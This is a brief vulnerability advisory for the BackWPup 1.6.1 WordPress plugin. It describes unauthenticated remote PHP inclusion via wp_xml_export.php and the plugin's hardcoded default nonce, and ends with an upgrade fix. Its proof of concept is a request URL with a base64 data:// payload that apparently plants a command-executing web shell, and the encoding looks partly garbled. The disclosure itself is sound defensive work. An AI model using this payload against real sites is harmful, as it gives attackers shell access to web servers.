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Product. BackWPup

Platform. PHP / Wordpress

Affected versions. 1.6.1 (verified) and possibly others

Severity Rating. High

Impact. System access

Attack Vector. Remote without authentication

Solution Status. Upgrade to version 1.7.1

CVE reference. Not yet assigned

Details.

A vulnerability has been discovered in the Wordpress plugin BackWPup 1.6.1 which can be exploited to execute local or remote code on the web server.

The Input passed to the component wp_xml_export.php via the "wpabs" variable allows the inclusion and execution of local or remote PHP files as long as a "_nonce" value is known. The "_nonce" value relies on a static constant which is not defined in the script meaning that it defaults to the value "822728c8d9".

Proof of Concept.

wp_xml_export.php?_**nonce**=822728c8d9&**wpabs**=data://text/plain;base64,PGZvcm 0gYWN0aW9uPSI8Pz0kX1NFUIZFUIsnUkVRVUVTVF9VUkknXT8%2bliBtZXRob2Q 9IIBPU1QiPjxpbnB1dCB0eXBIPSJ0ZXh0liBuYW1IPSJ4lj48aW5wdXQgdHlwZT0ic3V ibWl0liB2YWx1ZT0iY21klj48L2Zvcm0%2bPHByZT48PyAKZWNobyBgeyRfUE9TVF sneCddfWA7ID8%2bPC9wcmU%2bPD8gZGllKCk7ID8%2bCgo%3d

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Solution.

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